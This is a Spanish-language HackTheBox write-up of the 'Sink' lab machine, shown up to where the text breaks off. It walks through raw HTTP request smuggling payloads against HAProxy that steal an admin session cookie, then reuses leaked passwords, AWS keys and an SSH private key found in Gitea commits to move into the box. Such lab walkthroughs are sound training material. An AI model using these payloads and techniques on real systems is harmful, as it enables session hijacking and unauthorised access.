HackTheBox - Sink

Lanz
Funk Lanz el
HackTheBox - Sink

Máquina Linux nivel desquiciado. Nos enfrentaremos a un HTTP Request Smuggling (loco loco), saltaremos entre usuarios aún más locos, veremos commits relacionados a pasos a producción y pruebas extrañas con 🔑🔑, jugaremos bastante con AWS CLI, encontraremos secretos :O y finalmente desencriptaremos un archivo también jugando con AWS y llaves KMS.

313sinkHTB

TL;DR (Spanish writeup)

Creada por: MrR3boot.

Desquiceddd! Este writeup es largito (más que nada por los bloques de código), así que cafecito y a rompernos la cabeza…

Muy linda máquina.

Nos encontraremos con dos servicios, uno corriendo Gitea y otro Gunicorn, en el camino nos veremos las caras con un HTTP request smuggling el cual nos permitirá interceptar la cookie de sesión del usuario admin@sink.htb. La usaremos para entrar en un panel y encontrar unas notas, cada una tiene una credencial, una de ellas nos permitirá entrar al servicio Gitea referenciado antes.

Veremos unos repositorios, commits y demás info. En uno de los commits el usuario marcus estaba haciendo pruebas con su llave SSH privada y nos dejó el rastro. Usaremos esa llave para entrar en la máquina como él.

Empezaremos a jugar con AWS CLI para ver logs y secretos, en el jugueteo :o encontraremos otras credenciales guardadas como eso, secretos. Una de ellas pertenecen al usuario david y nos permitirán generar una sesión como él tanto en Gitea como en la máquina.

David en sus archivos tiene uno llamado servers.enc y esta encriptado mediante aws. Seguiremos jugando con AWS-CLI, pero ahora con kms para interactuar con keyIds y buscar la manera de desencriptar el archivo validándolo contra distintas llaves que iremos encontrando.

Finalmente encontraremos una llave que nos devuelve una cadena en base64, la tomamos y guardamos en un archivo, el tipo de archivo generado es un comprimido gzip, usaremos zcat para descubrir que contiene el archivo servers.yml, veremos otras credenciales en este caso de un usuario llamado admin. Nos servirán para generar una Shell como el usuario root.

Clasificación de la máquina según la gentesita

Muuuuuuuuuy real, alguna que otra cosita conocida pero sobre todo demasiada enumeración (mucha lectura y búsqueda).

Escribo para tener mis “notas”, por si algun día se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.

Vuelve que el dolor me mata.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Movimiento Lateral (AWSecrets).
  5. Escalada de privilegios.

Reconocimiento #

Usamos nmap para descubrir puertos abiertos 📌

Realizaremos un escaneo de puertos para saber que servicios esta corriendo la máquina:

❭ nmap -p- --open -v 10.10.10.225 -oG initScan
Parámetro Descripción
-p- Escaneamos todos los 65535 puertos.
–open Solo los puertos que estén abiertos.
-v Permite ver en consola lo que va encontrando (verbose).
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard
❭ cat initScan 
# Nmap 7.80 scan initiated Wed Feb 17 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.225
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.225 ()   Status: Up
Host: 10.10.10.225 ()   Ports: 22/open/tcp//ssh///, 3000/open/tcp//ppp///, 5000/open/tcp//upnp///
# Nmap done at Wed Feb 17 25:25:25 2021 -- 1 IP address (1 host up) scanned in 90.06 seconds

Perfecto, nos encontramos los puertos y servicios:

Puerto Descripción
22 SSH: Tenemos la posibilidad de obtener una Shell de manera segura.
3000 PPP: No lo sabemos aún.
5000 UPnP: Conjunto de protocolos para la comunicación de periféricos en la red.

Hagamos un escaneo de scripts y versiones con base en cada servicio (puerto), con ello obtenemos información más detallada de cada uno:

❭ nmap -p 22,3000,5000 -sC -sV 10.10.10.225 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos.
-sC Muestra todos los scripts relacionados con el servicio.
-sV Nos permite ver la versión del servicio.
-oN Guarda el output en un archivo.

Obtenemos:

# Nmap 7.80 scan initiated Wed Feb 17 25:25:25 2021 as: nmap -p 22,3000,5000 -sC -sV -oN portScan 10.10.10.225
Nmap scan report for 10.10.10.225
Host is up (0.20s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=1f3e9a13ee13832b; Path=/; HttpOnly
|     Set-Cookie: _csrf=Aq4ydKpCQiIxK9nMLskgSeyGzwI6MTYxMzU3NjcxMDE1ODI4NzczNQ; Path=/; Expires=Thu, 18 Feb 2021 15:45:10 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Wed, 17 Feb 2021 15:45:10 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=4962a49b06cbe2fd; Path=/; HttpOnly
|     Set-Cookie: _csrf=VEhuM5Nh9ZTyY63RRBsfaoun5dI6MTYxMzU3NjcxNjE4MjM4NjQzMg; Path=/; Expires=Thu, 18 Feb 2021 15:45:16 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Wed, 17 Feb 2021 15:45:16 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|_    <meta name="description" content="Gitea (Git with a c
5000/tcp open  http    Gunicorn 20.0.0
|_http-server-header: gunicorn/20.0.0
|_http-title: Sink Devops
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.80%I=7%D=2/17%Time=602D37C4%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"...");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 17 25:25:25 2021 -- 1 IP address (1 host up) scanned in 108.67 seconds

Bien, tenemos varias cositas:

Puerto Servicio Versión
22 SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
3000 PPP (Al parecer HTTP) -
  • Tiene varias referencias hacia Gitea.
  • Vemos 2 cookies y una relacionada a gitea.

Puerto Servicio Versión
5000 HTTP Gunicorn 20.0.0

Nada más por ahora, así que empecemos a validar cada servicio y ver por donde podemos jugar…

Enumeración #

Recorremos el puerto 3000 📌

313page3000

Listos, confirmamos el servicio Gitea.

🦠 Básicamente nos permite alojar control de versiones usando Git y es un fork (copia) de Gogs (que nos ayuda a correr nuestro propio servicio Git, mejor dicho, tener nuestro propio GitHub), pero mejorado y para toda la familia.

Vale, entonces enumeremos a ver que sacamos…

Si vamos al apartado explore tenemos 3 ítems, veamos users:

313page3000_explore_users

  • Usuario: david.
  • Usuario: marcus.
  • Usuario: root.
  • Versión Gitea: 1.12.6.
  • Versión Go: 1.14.12.

Validando cada usuario, vemos que todos están asociados a una organización, Sink_Solutions, en Organizations la encontramos:

313page3000_explore_organizations

313page3000_explore_organizations_sinksolutions

También podemos logearnos, probando con los usuarios y posibles contraseñas no conseguimos nada…

313page3000_signin

Buscando vulnerabilidades con las versiones relacionadas encontramos una que posiblemente (no creo :P) esté relacionada, pero debemos estar autenticados, guardémosla por si algo:

Recorremos el puerto 5000 📌

🦄 Gunicorn (Green Unicorn) is a Python WSGI HTTP Server for UNIX. It’s a pre-fork worker model compatible with various web frameworks, simple and lightweight server. musyokaian.

Pero khe jeso de WSGI, rápidamente:

⚙️ WSGI permite que programas hechos en Python puedan comunicarse a través del protocolo HTTP sin ningún tipo de framework o librería. codigofacilito.

313page5000

Tenemos un login panel, pero también nos podemos registrar, démosle…

313page5000_signup

313page5000_home

  • Tenemos un correo: admin@sink.htb.

Bien, pa que lo sepamos:

313page5000_home_whatisDevOps

En el apartado notes nos permite agregar, ver y borrar notas:

313page5000_notes

313page5000_notes_more

Son notas que cree para probar algun tipo de injección o brecha. Pero por el momento nada…

Explotación #


Encontramos un vector de ataque muuuy potencial 📌

Bueno bueno bueeeeeeeeeeno…

Después de dar vueltas por las páginas con BurpSuite interceptando las peticiones del servidor http://10.10.10.25:5000, notamos algo llamativo:

313burp5000_home_haproxy_found

Esta usando un proxy llamado HAProxy entre las peticiones, pues veamos que se trata:

🚇 HAProxy es un balanceador de cargas (load balancer: transfiere peticiones entre host para evitar colapsos y hacer que sean procesadas más rápido) entre servidores.

Teniendo esto claro, validemos si existen vulnerabilidades hacia ese servicio…

Inicialmente nos encontramos con el CVE CVE-2020-11100, el cual apoyado del protocolo HTTP/2 (para hacer un uso más eficiente de los recursos en la red) puede permitirle al atacante enviar una petición “especial”, que puede generar un heap-based buffer overflow y finalmente una ejecución remota de comandos en el sistema.

Es una vulnerabilidad descubierta por Felix Wilhelm (integrante del grupo de hackers de Google (Project Zero)), en el blog oficial de HAProxy nos redireccionan al writeup creado por él:

Dándole vistazos a otros recursos y temas relacionados a esa vuln, no logre interactuar con ella…

Buscando y buscando encontré un PoC en formato de video explotando una vulnerabilidad llamada:

HTTP Request Smuggling

Y que afecta a HAProxy, esta tiene relacionado el CVE CVE-2019-18277.

Antes de probar la vuln, entendamos (o intentémoslo) sobre HTTP Request Smuggling.


¿Qué es un HTTP Request Smuggling? (Descubrámoslo) 🪕

Como indica Busra Demir en su artículo, HTTP request smuggling es una técnica la cual interfiere en el proceso por el que pasan las peticiones del front al back. Donde el atacante puede modificar la petición para incluir otra en la misma petición. Lo que pasara es que ejecutara la primera petición normalmente, pero al terminar de procesarla ejecutara la segunda que tenemos incrustada, logrando así el éxito de la vulnerabilidad.

Esto se logra modificando/agregando 2 headers HTTP:

* Content-Length Header: the size of the request body (in bytes).
* Transfer-Encoding Header: specified as chunked so that the request body will be sent in chunks (separated by newline). 0 is used to end a chunk.

Pero ¿para qué nos sirve esto? Como explica portswigger nos puede permitir bypassear controles de seguridad, obtener acceso a información sensible yyyy comprometer otros usuarios que estén en la aplicación.

Tomada de What is HTTP request smuggling? - portswigger.

Ahora sí, sigamos y probemos si nuestra versión es vulnerable a HTTP Request Smuggling

Siguiendo algunos ejemplos de referencias anteriores y de este artículo, logramos obtener la versión de HAProxy que esta usando el servidor:

Si enviamos la siguiente petición:

  • Enviamos la data en formato chunked (separada por \n (newline)).
  • El total de la traza serian 9 caracteres (note=hola).
  • Con 0 le indicamos el final de la data en formato chunk.

Obtenemos la versión concreta de HAProxy:

HAProxy Version 1.9.10

Bueno, pues podemos enfocarnos un poco más. Quizás esta sea la ruta adecuada para la explotación. Sigamos validando si podemos explotar la web mediante el smuggling…

En las referencias del CVE, encontramos este PoC:

Dándole unas vueltas nos indica algo necesario para la correcta explotación:

The backend must also support HTTP keep-alive.

Así que debemos cambiar el header Connection: close a Connection: keep-alive.

Démosle a la locura, modifiquemos la petición incrustando otra solicitud a ver que recibimos:

POST /notes HTTP/1.1
Host: 10.10.10.225:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 259                                               <!-- original -->
Origin: http://10.10.10.225:5000
DNT: 1
Connection: keep-alive
Referer: http://10.10.10.225:5000/notes
Cookie: session=eyJlbWFpbCI6ImxhbnpAc2luay5odGIifQ.YDUzCA.YVpcMp8dXmocfLzRQa8HEFDUp_8
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Transfer-Encoding: chunked

9
note=hola
0

POST /notes HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded                   <!-- smuggling -->
Content-Length: 251
Connection: keep-alive
Cookie: session=eyJlbWFpbCI6ImxhbnpAc2luay5odGIifQ.YDUzCA.YVpcMp8dXmocfLzRQa8HEFDUp_8

note=holas

Y validamos el apartado /notes, tenemos:

Nada :P 😂

Logramos la explotación del HTTP Request Smuggling 📌

Revisando de nuevo el post, nos dice que muchas veces el chunked no es tomado y debemos agregarle al inicio de ese header la cadena \x0b (hexadecimal) para que lo interprete.

Después de jugar con él, intentando agregarlo a la petición, obteníamos lo mismo. Peeeeeeero era porque lo estaba haciendo mal.

Si pasamos el valor hexadecimal a base64 externamente (nosotros mismos) y después en Burp usamos el convertidor interno de base64 al valor original, ahí si logramos ver el \x0b reflejado:

  1. Pasar 0b a base64: Cw==.
  2. Pegar Cw== en la petición, seleccionarlo y decodearlo de base64 a valor original:

Seleccionamos la cadena Cw== y hacemos:

Clic derecho > Convert-Selection > Base64 > Base64-decode (o de la forma corta: CTRL + SHIFT + B)

Y obtenemos:

POST /notes HTTP/1.1
Host: 10.10.10.225:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded                        <!-- original -->
Content-Length: 259
Origin: http://10.10.10.225:5000
DNT: 1
Connection: keep-alive
Referer: http://10.10.10.225:5000/notes
Cookie: session=eyJlbWFpbCI6ImxhbnpAc2luay5odGIifQ.YDUzCA.YVpcMp8dXmocfLzRQa8HEFDUp_8
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Transfer-Encoding:chunked

9
note=hola
0

POST /notes HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded                        <!-- smuggling -->
Content-Length: 251
Connection: keep-alive
Cookie: session=eyJlbWFpbCI6ImxhbnpAc2luay5odGIifQ.YDUzCA.YVpcMp8dXmocfLzRQa8HEFDUp_8

note=holas

Perfecto, validemos si cambia algo ahora…

Nos genera dos notas, una esta vacía y la otra llenita :P Veamos la llenita claramente:

Vale vale valeeeeeeeeeee, que es esta locuraaaaaaaaaaaa… Tenemos una nueva cookie de algún usuario (o pues al menos es diferente a la nuestra) corriendo el servicio sobre el localhost.

Viendo lo que tenemos podemos intuir que esta pasando:

(Esto puede sonar enrredado (supongo) pero es lo que entiendo que paso)

🚨 Normalmente (como vimos en las explicaciones anteriores) queremos ingresar a algún recurso al que no tengamos acceso. Como en este caso no sabemos a cuál, lo lanzamos contra el mismo recurso. Vemos que se efectúa nuestro intento, logrando así interceptar la otra petición, pero obteniendo la respuesta en el mismo recurso que usamos para enviarla (o sea, en /notes)

La petición es un delete a la nota 1234 (/notes/delete/1234) pero ejecutada desde el localhost por el puerto 8080 y claramente por un usuario interno, lo sabemos por qué obtenemos una Cookie distinta a la nuestra. Podemos usarla para cambiar la que tenemos por esa, recargar la página y ver con quien estamos (si es que cambiamos a otro usuario)…

GET /notes/delete/1234 HTTP/1.1
Host: 127.0.0.1:8080 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YDSQAA._g

Pero si notamos el tamaño de la cookie es más corto (la comparamos con la nuestra), agreguémosle más buffer, simplemente cambiando el valor de la cabecera a Content-Length: 250 por ejemplo y veamos la respuesta ahora:

(Justo acá reiniciaron la máquina, pero pues lo unico que cambiaran seran las cookies, tanto la mia como la que obtengamos)

La respuesta que tenemos en la nueva nota es:

Nada ._ .

Si ponemos más de 308 como tamaño volvemos a obtener solo una nota, entonces podemos borrar el contenido de note= (para liberar espacio) y coloquemos Content-Length: 303 (después de algún tanteo):

POST /notes HTTP/1.1
Host: 10.10.10.225:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 254
Origin: http://10.10.10.225:5000
DNT: 1
Connection: keep-alive
Referer: http://10.10.10.225:5000/notes
Cookie: session=eyJlbWFpbCI6ImxhbnpAc2luay5odGIifQ.YDWNyg.naJPYMmG6_8HKfdGqeeJMTwjVR4
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Transfer-Encoding:chunked

9
note=hola
0

POST /notes HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 303
Connection: keep-alive
Cookie: session=eyJlbWFpbCI6ImxhbnpAc2luay5odGIifQ.YDWNyg.naJPYMmG6_8HKfdGqeeJMTwjVR4

note=

Y obtenemos ahora si en la nota:

GET /notes/delete/1234 HTTP/1.1 
Host: 127.0.0.1:8080 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 
Accept-Encoding: gzip, deflate 
Accept: */* 
Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YDWL9A.dG5uqF6Y8oZfi7uQi3IATStQVIA 
X-Forwarded-For: 127.0.0.1

Perfecto, ahora si es del tamaño adecuado :)

(Volvieron a reiniciar la máquina😐)

Tomemos la cookie. Yo usare la extensión de Firefox llamada Cookie-Editor (que nos permite jugar con las cookies claramente :P)

Añadimos una nueva cookie, le ponemos de nombre session y pegamos la cookie que encontramos y damos clic en guardar (add). Ahora simplemente recargamos la página y estaríamos dentro como el usuario admin@sink.htb:

Encontramos cositas siendo el usuario admin 📌

Si revisamos las notas tenemos 3:

El contenido de cada una es el siguiente:

Note (1):

Chef Login : http://chef.sink.htb Username : chefadm Password : /G'FEGc&zEx{4]zz
Note (2):

Dev Node URL : http://code.sink.htb Username : root Password : FaH@3I>ZB})zzfO3
Note (3):

Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : gB>HGGK\{*L.f83C

Opa, tenemos 3 nuevas URL (una aparentemente con certificado SSL), con sus respectivos usuarios y contraseñas… Agreguémoslas al /etc/hosts e inspeccionemos…

❭ cat /etc/hosts
...
10.10.10.225  chef.sink.htb code.sink.htb nagios.sink.htb
...

Pero al colocarlos en la web, ninguno redirecciona a ningún sitio. Y pues tiene sentido, no sabemos en qué puerto están corriendo por lo tanto no encuentra realmente lo que tiene que resolver… Pero pues tenemos credenciales y si recordamos, hay un servicio sobre el puerto 3000 (Gitea) con panel login (y en el cual uno de los usuarios era root), intentemos usar la contraseña que tenemos de root sobre ese login:

313page3000_root_login

Yyyyy:

313page3000_root_login_done

Perfecto, tamos dentro, ahoraaaaaaaaaaaaaaaaaaa a enumerar :P


Enumeramos el servicio Gitea como el usuario root 📌

Nos encontramos con 4 repositorios (aunque solo se vean 3 en la imagen hay 4):

313page3000_root_repos

'root' created repository 'root/Key_Management'
2 months ago

O sea que tenemos:

Repositorios:

* Log_Management.
* Key_Management.
* Serverless-Plugin.
* Kinesis_ElasticSearch.

Revisando cada uno, sus respectivos commits y contenido encontramos esto:

  • El usuario marcus es el que hace los push (sube los cambios), root simplemente crea los repos.

Cositas relevantes de cada repo:

🪕 Log_Management (commits)

Si entramos en ese commit, tenemos el access key ID y la secret access key de AWS (Amazon Web Services):

<?php
require 'vendor/autoload.php';

use Aws\CloudWatchLogs\CloudWatchLogsClient;
use Aws\Exception\AwsException;

$client = new CloudWatchLogsClient([
        'region' => 'eu',
        'endpoint' => 'http://127.0.0.1:4566',
        'credentials' => [
                'key' => 'AKIAIUEN3QWCPSTEITJQ',
                'secret' => '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'
        ],
        'version' => 'latest'
]);
try {
$client->createLogGroup(array(
        'logGroupName' => 'Chef_Events',
));
}
catch (AwsException $e) {
    echo $e->getMessage();
    echo "\n";
}
try {
$client->createLogStream([
        'logGroupName' => 'Chef_Events',
        'logStreamName' => '20201120'
]);
}catch (AwsException $e) {
    echo $e->getMessage();
    echo "\n";
}
?>

Podemos tenerlo en cuenta (además del puerto 4566 sobre el `lo), ya que en el siguiente commit esos valores son remplazados:

313page3000_root_repo_logMan_commit_prepProd

🪕 Key_Management (commits)

Ahora entremos en ese commit en concreto:

313page3000_root_repo_keyMan_keyfound

Nos encontramos con la llave privada de un usuario (posiblemente de marcus) guardada en el archivo .keys/dev_keys.

En el mismo commit vemos como usa la llave mediante el objeto ec2.php:

<?php

require 'vendor/autoload.php';
use Aws\Ec2\Ec2Client;

$ec2Client = new Aws\Ec2\Ec2Client([
    'region' => 'eu',
    'version' => '2020-12-21',
    'profile' => 'default',
    'endpoint' => 'http://127.0.0.1:4566'
]);

$keyPairName = 'dev_keys';

$result = $ec2Client->createKeyPair(array(
    'KeyName' => $keyPairName
));

// Save the private key
$saveKeyLocation = getenv('HOME') . ".keys/{$keyPairName}";
file_put_contents($saveKeyLocation, $result['keyMaterial']);

// Update the key's permissions so it can be used with SSH
chmod($saveKeyLocation, 0600);

Y para pasar a producción cambian el archivo dev_keys por prod_keys:

313page3000_root_repo_keyMan_keychanged

Bueno, pues probemos a copiarnos esa key, pasarla a un archivo, darle los permisos necesarios (chmod 600 <file>) e intentar acceder mediante SSH con alguno de los usuarios, inicialmente con marcus que fue el que hizo el push:

En los demás repos no encontre nada realmente relevante :s

❭ chmod 600 dev_keys 
❭ ssh marcus@10.10.10.225 -i dev_keys 
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-53-generic x86_64)
...

Yyyyy estamos dentroooooooooooooooooo:

marcus@sink:~$ id
uid=1001(marcus) gid=1001(marcus) groups=1001(marcus)
marcus@sink:~$ ls
user.txt
marcus@sink:~$ ls /home
david  git  marcus
marcus@sink:~$

Niceeeeeeeeeeeeeeeeeee. LOCO LOCOOOOOOOOOOOOOOo lo del smuggling.

Ahora si, quien sabe que nos espere :o

AWS Secrets: marcus -> david #

Si enumeramos servicios recordamos al puerto que habíamos visto antes, el 4566:

marcus@sink:~$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 localhost:33060         0.0.0.0:*               LISTEN
tcp        0      0 localhost:mysql         0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:x11          0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:x11-1        0.0.0.0:*               LISTEN
tcp        0      0 localhost:34833         0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:x11-2        0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:x11-3        0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:x11-4        0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:x11-5        0.0.0.0:*               LISTEN
tcp        0      0 localhost:domain        0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:x11-6        0.0.0.0:*               LISTEN
tcp        0      0 localhost:4566          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:x11-7        0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:6008         0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:6009         0.0.0.0:*               LISTEN
tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:6010         0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:6011         0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:6012         0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:6013         0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:6014         0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:6015         0.0.0.0:*               LISTEN
...

Además de muchos otros pero sobre una IP diferente que me recordo a Docker, enumeremos el servicio docker a ver que encontramos:

marcus@sink:~$ systemctl status docker
● docker.service - Docker Application Container Engine
     Loaded: loaded (/lib/systemd/system/docker.service; disabled; vendor preset: enabled)
     Active: active (running) since Wed 2021-02-24 25:25:25 UTC; 25h ago
TriggeredBy: ● docker.socket
       Docs: https://docs.docker.com
   Main PID: 1487 (dockerd)
      Tasks: 147
     Memory: 150.5M
     CGroup: /system.slice/docker.service
             ├─1487 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
             ├─2225 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 4566 -container-ip 172.18.0.2 -container-port 4566
             ├─2313 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6000 -container-ip 172.17.0.2 -container-port 8080
             ├─2363 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6010 -container-ip 172.17.0.3 -container-port 8080
             ├─2394 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6007 -container-ip 172.17.0.4 -container-port 8080
             ├─2447 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6013 -container-ip 172.17.0.5 -container-port 8080
             ├─2502 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6012 -container-ip 172.17.0.6 -container-port 8080
             ├─2552 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6002 -container-ip 172.17.0.7 -container-port 8080
             ├─2594 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6011 -container-ip 172.17.0.8 -container-port 8080
             ├─2642 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6014 -container-ip 172.17.0.9 -container-port 8080
             ├─2682 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6009 -container-ip 172.17.0.10 -container-port 8080
             ├─2740 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6015 -container-ip 172.17.0.11 -container-port 8080
             ├─2780 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6006 -container-ip 172.17.0.12 -container-port 8080
             ├─2844 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6005 -container-ip 172.17.0.13 -container-port 8080
             ├─2873 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6001 -container-ip 172.17.0.14 -container-port 8080
             ├─2907 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6003 -container-ip 172.17.0.15 -container-port 8080
             ├─2953 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6008 -container-ip 172.17.0.16 -container-port 8080
             └─3115 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6004 -container-ip 172.17.0.17 -container-port 8080
marcus@sink:~$ 

Opa, vemos que esta corriendo varios contenedores, al inicio tenemos al que estamos buscando:

...
├─2225 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 4566 -container-ip 172.18.0.2 -container-port 4566
...

Bien, sabemos que es un contenedor. Validemos que esta corriendo sobre él:

marcus@sink:~$ curl http://localhost:4566 ; echo
{"status": "running"}

Esta respuesta me acordó a la máquina:

Spoiler: Nombre de la otra máquina Bucket

En la que también jugábamos con AWS y contenedores.

Podemos hacer dos cosas, un Remote Port Forwarding (redireccionamiento de puertos) y validar con nmap si encontramos algo y además hacer algo de fuzzing para ver si hay otras rutas… O podemos volver a hablar de la máquina (del spoiler) y recordar que en el fuzzing hecho allá, obteníamos la ruta /health que nos sirve para validar el rendimiento y disponibilidad de los recursos de AWS.

Entonces podemos hacer una petición ahora junto al /health y ver que servicios (y su estado) esta corriendo AWS:

marcus@sink:~$ curl http://localhost:4566/health ; echo
{"services": {"logs": "running", "secretsmanager": "running", "kms": "running"}}

Perfectowowo e.e Pues tenemos 3 servicios activos y corriendo:

Y podemos apoyarnos del API de Amazon Web Services (aws) para jugar con lo que encontramos y ver si podemos sacar algo importante:

Probemos con logs primero, intentemos ver la descripción de los grupos de logs creados:

marcus@sink:~$ aws --endpoint-url=http://localhost:4566 --region us-east-1 logs describe-log-groups
Unable to locate credentials. You can configure credentials by running "aws configure".

Si ejecutamos ese comando nos pide:

marcus@sink:~$ aws configure
AWS Access Key ID [None]:
AWS Secret Access Key [None]:
Default region name [None]:
Default output format [None]:

Si recordamos en Gitea habíamos encontrado un commit que tenía esta información, busquémosla y pongámosla acá…

...
$client = new CloudWatchLogsClient([
        'region' => 'eu',
        'endpoint' => 'http://127.0.0.1:4566',
        'credentials' => [
                'key' => 'AKIAIUEN3QWCPSTEITJQ',
                'secret' => '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'
        ],
        'version' => 'latest'
]);
...

(Aunque para comprobar el funcionamiento coloque primero cualquier valor en los dos y aun así me trajo la información, así que no es necesaria esta config (supongo))

marcus@sink:~$ aws configure
AWS Access Key ID [None]: asd
AWS Secret Access Key [None]: asdfsadf
Default region name [None]: us-east-1
Default output format [None]: json

Y si ejecutamos de nuevo:

